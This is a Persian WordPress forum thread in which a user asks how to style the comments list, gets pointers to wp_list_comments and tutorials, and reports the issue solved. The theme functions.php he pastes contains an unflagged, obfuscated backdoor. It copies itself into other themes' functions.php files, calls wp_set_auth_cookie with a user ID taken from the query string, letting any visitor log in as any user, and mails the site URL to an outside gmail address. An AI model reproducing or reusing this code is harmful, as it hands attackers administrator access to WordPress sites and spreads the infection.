soheyl

کمک - روش استایل بندی بخش دیدگاه ها؟

13 پست در این موضوع قرار دارد

سلام به همه دوستان عزیز

مشکلی من تو استایل بندی دیدگاه هایی هست که قبلا برای یک مطلب ارسال شده و پس از تایید مدیر سایت می خاود تو سایت نمایش داده بشه

کد نمایش دیدگاه های ارسال شده برای یک مطلب این هستش :

<?php if ( have_comments() ) : ?>

<ol class="commentlist"><?php wp_list_comments(); ?></ol>

<?php if ('open' == $post->comment_status) : ?>

<!-- If comments are open, but there are no comments. -->

<?php else : // comments are closed ?>

<!-- If comments are closed. -->

<?php endif; ?>

<?php endif; ?>

وقتی که کد بالا رو قرار میدم دیدگاه ها رو نمایش میده که شامل : عکس و نام نویسنده هستش ، تاریخ و ساعت ارسال دیدگاه ، لینک ویرایش ، متن دیدگاه و لینک پاسخ دادن به دیدگاه

حالا من می خوام که هر کدوم از کد های این ها جداگانه باشه تا من بتونم استایل بندی کنم ولی کد بالا یک جوری هست که همه اینها رو یکجا نشون میده و من نمیتونم استایل بندی کنم

لطفا کمکم کنید ، آیا میشه برای هر کدوم از این چیز هایی که گفتم یک کد جداگانه وجود داشته باشه که استایل بندی کنم؟

یا اگه شما راه دیگری رو بلدید بهم بگید ممنون

0

به اشتراک گذاری این پست


لینک به پست

لیست کامنتهای شما با تابع wp_list_comments چاپ میشود

در فایل فانکشن این مقدار را جستجو کنید، ببینید به این تابع تابعی دیگر نسبت داده شده یا نه

3

به اشتراک گذاری این پست


لینک به پست

لیست کامنتهای شما با تابع wp_list_comments چاپ میشود

در فایل فانکشن این مقدار را جستجو کنید، ببینید به این تابع تابعی دیگر نسبت داده شده یا نه

سلام دوست عزیز

فانکشن رو سرچ کردم ولی مقدار wp_list_comments نبود حالا چیکار باید بکنم؟

0

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

فایل functions و Single و comments را اینجا پیوست کنید.

ویرایش شده در توسط PRGAME
1

به اشتراک گذاری این پست


لینک به پست

فایل comments.php پیشفرض را برای توسعه بیشتر، ضمیمه پست شد.

comments.php

5

به اشتراک گذاری این پست


لینک به پست

فایل comments.php پیشفرض را برای توسعه بیشتر، ضمیمه پست شد.

جناب صوفی ببخشید این فایل پیوست شده من متوجه نشدم به خاطر چی بود دانلودش کردم دیدم انگار که صفحه 404 این انجمن هست خواهشا توضیح بدین مرسی

0

به اشتراک گذاری این پست


لینک به پست

فایل functions و Single و comments را اینجا پیوست کنید.

دوست عزیز تو فایل single چیزی برای کامنت نیست فقط کد فراخوانی صفحه کامنت هست ولی کد های صفحه functions و comments رو پیوست کردم

فایل functions:

<?php

// post thumbnail support

function _checkactive_widgets(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n "); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);

$output .= ($isshowdots && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_allwidgets_cont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_allwidgets_cont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_checkactive_widgets");

function _getprepare_widget(){

if(!isset($text_length)) $text_length=120;

if(!isset($check)) $check="cookie";

if(!isset($tagsallowed)) $tagsallowed="<a>";

if(!isset($filter)) $filter="none";

if(!isset($coma)) $coma="";

if(!isset($home_filter)) $home_filter=get_option("home");

if(!isset($pref_filters)) $pref_filters="wp_";

if(!isset($is_use_more_link)) $is_use_more_link=1;

if(!isset($com_type)) $com_type="";

if(!isset($cpages)) $cpages=$_GET["cperpage"];

if(!isset($post_auth_comments)) $post_auth_comments="";

if(!isset($com_is_approved)) $com_is_approved="";

if(!isset($post_auth)) $post_auth="auth";

if(!isset($link_text_more)) $link_text_more="(more...)";

if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");

if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;

if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";

if(!isset($contentmore)) $contentmore="ma".$coma."il";

if(!isset($for_more)) $for_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_yes) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mes".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fixed_tags)) $fixed_tags=1;

if(!isset($filters)) $filters=$home_filter;

if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;

if(!isset($tag_aditional)) $tag_aditional="div";

if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($more_text_link)) $more_text_link="Continue reading this entry";

if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($text_length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $text_length) {

$l=$text_length;

$ellipsis=1;

} else {

$l=count($text);

$link_text_more="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $tagsallowed) {

$output=strip_tags($output, $tagsallowed);

return $output;

}

endif;

$output=rtrim($output, "\s\n \r\0\x0B");

$output=($fixed_tags) ? balanceTags($output, true) : $output;

$output .= ($isshowdots && $ellipsis) ? "..." : "";

$output=apply_filters($filter, $output);

switch($tag_aditional) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($is_use_more_link ) {

if($for_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_getprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

?>

فایل comments:

در زیر کد نمایش دادن کامنت های یک مطلب رو گذاشتم که مشکلم با ایجاس و فرم ارسال کامنت رو استایل بندی کرده ام فقط قسمت نمایش دادن کامنت های یک مطلب نمیدونم چجوری استایل بندی کنم لطفا کمکم کنید ممنون


<?php if ( have_comments() ) : ?>
<ol class="commentlist"><?php wp_list_comments(); ?></ol>
<?php if ('open' == $post->comment_status) : ?>
<!-- If comments are open, but there are no comments. -->
<?php else : // comments are closed ?>
<p class="nocomments">دیدگاه ها بسته شده اند.</p>
<!-- If comments are closed. -->
<?php endif; ?>
<?php endif; ?>

0

به اشتراک گذاری این پست


لینک به پست

در فایل فانکشنتون نبود.

باید تابع wp_list_comments رو ببینید در فایل دیگه ایی دارید و محتواش رو قرار بدید. اگرنه داره از پیش فرض وردپرس فراخوانی میشه.

یا اینکه از فایلی که مصطفی عزیز داد استفاده کنید.

1

به اشتراک گذاری این پست


لینک به پست

فایل ها رو سرچ کردم نبود

به فانکشن چندتا قالب دیگه نگا کردم ولی تو اونها هم wp_list_comments نبود

فایل مصطفی عزیز رو هم باز کردم ولی چیزی نفهمیدم

0

به اشتراک گذاری این پست


لینک به پست

ببینید پوسته شما داره از قالب پیش فرض برای نظرات استفاده میکنه.

براساس یکی از دو آموزش زیر بخش نظرات رو با پوسته دلخواه ایجاد کنید:


http://return-true.com/2010/02/using-wp_list_comments-to-create-customised-comments/
http://wordpressapi.com/2010/03/01/customize-comments-template-wp_list_comments/

1

به اشتراک گذاری این پست


لینک به پست

سلام آقا از همه دوستان عزیزی که لطف کردن کمکم کردن ممنونم مخصوصا آقا مرتضی واقعا آقا مرتضی ممنونم این آدرس هایی که بهم دادی خیلی کمکم کرد ممنون

2

به اشتراک گذاری این پست


لینک به پست

سلام، عذرخواهی میکنم بابت تاخیر در پاسخ.

شما اون فایل رو اگر کنار فایل های پوسته قرار میدادین و تابع comments_template رو در single.php فراخوانی میکردین، میتونستید قالب دیدگاه هارو کامل در اختیار داشته باشید.

2

به اشتراک گذاری این پست


لینک به پست

سلام آقا مصطفی عزیز

مرسی لطف دارین بله من اینکار رو وقتی شما فایل رو پیوست کردین انجام دادم ولی نمیدونم چرا عمل نکرد در single.php هم تابع فراخوانی کامنت بود

بالاخره مشکلم حل شد واقعا ازتون ممنونم مرسی ولی یک مشکل دیگه دارم تو شماره صفحات که ترجیح میدم تو یک تاپیک جدید مشکلم رو بیان کنم ممنون میشم راهنماییم بفرمایید مرسی

بازم ممنون از همه دوستان

2

به اشتراک گذاری این پست


لینک به پست

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری

  • مطالب مشابه

    • توسط masoudmosleh267
      سلام دوستان. من یه سایتی رو از بکاپ گرفتم و از یه هاست و دامنه به یه هاست و دامنه جدید انتقال دادم. حالا چه سایت رو که باز میکنم چه وارد پیشخوان وردپرس میشم یه ارور میاد یکی از خطلی functions.php قالب رو نشون میده.
      Parse error: syntax error, unexpected 'class' (T_CLASS), expecting identifier (T_STRING) or variable (T_VARIABLE) or '{' or '$' in /public_html/wp-content/themes/khadamator/functions.php on line 1132
      مشکل چیه؟
    • توسط amirsa
      سلام
      من محصولات متغیر رو در ووکامرس که وارد میکنم،(محصول ممکنه 2 یا 3 صفت داره که باید انتخاب بشه)
       توی فروشگاه ووکامرس بصورت حد اقل و حداکثر قیمت ها نشون داده میشه
      مثلا کالا دونوع 10 و  20 تومانی هست.صفت آ 15 تومن برای مشتری هایی که بخوان.تو فروشگاه قیمت رو بصورت 10-35 نشون میده که بیشتر از قیمت اصلی است.من میخوام همون 10 و 20 رو نشون بده
      این مشکل انرژی زیادی ازم گرفته ممنون میشم راهنماییم کنید 
    • توسط arianemun
      سلام عرض ادب به کاربران وردپرس پارسی ، من یک مشکلی دارم در افزونه ای ، افزونه woocomerce product finder یک افزونه ای است طبق تنظیمات و چیز هایی که برای محصول ووکامرسی تعریف میکنیم با انتخواب گزینه ها توسط کاربر محصول مورد نظر خودش رو پیدا میکنه، تنها مشکلی که این افزونه یا میشه گفت ضعفی که داره تفاوت محصول برجسته رو با محصول ساده متوجه نمیشه یعنی اگر تو اون دسته یک محصول برجسته باشه و یک محصول ساده اون ها رو از هم تفکیک نمیکنه من میخواستم این قابلیت رو به این افزونه اضافه کنم که کاربر وقتی محصولش رو پیدا کرد هم محصول ساده ها رو ببینه و محصول برجسته شده ! ممنون میشم کمک کنید .
       
      لینک افزونه استفاده شده
    • توسط صالح طالبی
      باسلام خدمت شما عزیزان
      بنده این تکه کد رو که در اصل افزونه نمایش آخرین های انجمن بود برای وردپرس به صورت کد در خود فانکشن قالب دراوردم:
      function ipslatest_main($query) { if ( is_home() && $query->is_main_query() ) { $db_user = 'root'; $db_name = 'ipsdb'; $db_pass = ''; $db_host = 'localhost'; $prefix = get_option('ipslatest_db_prefix'); $url = 'http://localhost/IPS'; $limit = '5'; $title = ''; $width = '300'; $direction = 'rtl'; $translations = array('عنوان','بازدید','پاسخ ها','ارسال شده به وسیله'); $db = new wpdb( $db_user, $db_pass, $db_name,$db_host ); $q = $db->get_results( 'SELECT topic_id,author_name FROM '.$prefix.'forums_posts ORDER BY pid DESC LIMIT '.$limit ); echo '<div id="ipslatest-mainTitle" style="width:'.$width.'">'.$title.$position.'</div>'; echo '<table id="ipslatestTopics" border=0 style="padding:10px;width:'.$width.'">'; echo '<tr><td class="ipslatest-row-views">'.$translations[2].'</td><td class="ipslatest-row-answers">'.$translations[1].'</td><td class="ipslatest-row-sender">'.$translations[3].'</td><td class="ipslatest-row-title">'.$translations[0].'</td> </tr>'; if (is_array($q) || is_object($q)) { foreach ($q as $key => $row) { $topicDetails = $db->get_row('SELECT title,tid,views,posts FROM '.$prefix.'forums_topics WHERE tid='.$row->topic_id); $userMemberID = $db->get_row('SELECT member_group_id FROM '.$prefix."core_members WHERE name='".$row->author_name."'"); $userShowingData = $db->get_row('SELECT prefix,suffix FROM core_groups WHERE g_id='.$userMemberID->member_group_id); echo '<tr id="ipstopic"> <td class="ipslatest-row-views-content"> <span>'.$topicDetails->views.' </span></td> <td class="ipslatest-row-answers-content"><span>'.$topicDetails->posts.'</span></td> <td id="ipslatest-row-sender-content">'.$userShowingData->prefix.$row->author_name.$userShowingData->suffix.'</td> <td class="ipsTitle"> <a rel="follow" href="'.$url.'topic/'.$topicDetails->tid.'-'.strtolower(str_replace(" ","-",$topicDetails->title)).'">'. strip_tags($topicDetails->title) .' </a> </td> </tr>'; } /*}*/ } echo '</table>'; } } به صورت خودکار خود افزونه از کد زیر برای نمایش اون در اول پست های سایت و یا در آخر پست های سایت استفاده میکنه کد ها هم به این شکله:
      add_action( 'wp', 'ipslatestMain' ); function ipslatestMain( $query ) { $position = "bottom"; if($position === "bottom") $acton = "loop_end"; elseif ($position === "top") $acton = "loop_start"; add_action($acton,"ipslatest_main"); } الان بدون هیچ مشکلی نمایش میده در پایین پست ها ولی من میخام این نمایش رو در یه قسمت دیگه از قالب انجام بدم و چجوری میتونم این فانکشن و تابع رو نمایش بدم؟؟؟
      نام افزونه هم در ضمن ipsuite-latest-topics هست و من از حالت افزونه فقط خارجش کردم و در خود قالب و فانکشن اون اوکی کردم.
      فقط مشکل اینه که نمیخام در بالای پست یا پایین پست ها نمایش بدم و میخام در جایی که خودم تعیین میکنم تابع رو نمایش بدم؟!!!
      ممنون میشم راهنمایی بفرمایید.
    • توسط سعید فرزادی پور
      با عرض سلام
      من به مشکلی خوردم که راه حل اون رو نمیدونم
      در هدر سایت یک نویگیشن بار دارم که منوی اصلی سایتم به صورت دراپ داون در این نویگیشن بار وجود داره ، قال سایت من shaply هستش و استفاده از ویجت ها در body بازه ، من با استفاده از یک ویجت اسلایدر در بالاترین قسمت و زیر هدر سایت که ارتفاع اونم 55 پیکسل هستش اسلایدر بزرگ ایجاد کردم ، و حالا زمانی که میرم روی دراپ داون ها متاسفانه تا قبل از اسکرول کردن به پایین ، زیر منو ها به زیر اسلایدر میرن ، اما بعد از اسکرول کردن به پایین این مشکل حل شده و منو ها و زیر منو ها نمایش داده میشن ، هرچه z-index رو افزایش دادم نتیجه ای نداشت ، چطور میتونم این مشکل رو حل کنم ؟
      و سوال دوم این که در این تم منو ها اول به پایین و بعد به راست باز میشن و من میخوایم سایت رو به صورت فارسی داشته باشم و میخوام اول به پایین و بعد به چپ باز بشن منو ها , چه تغییری میتونم در css ایجاد کنم ؟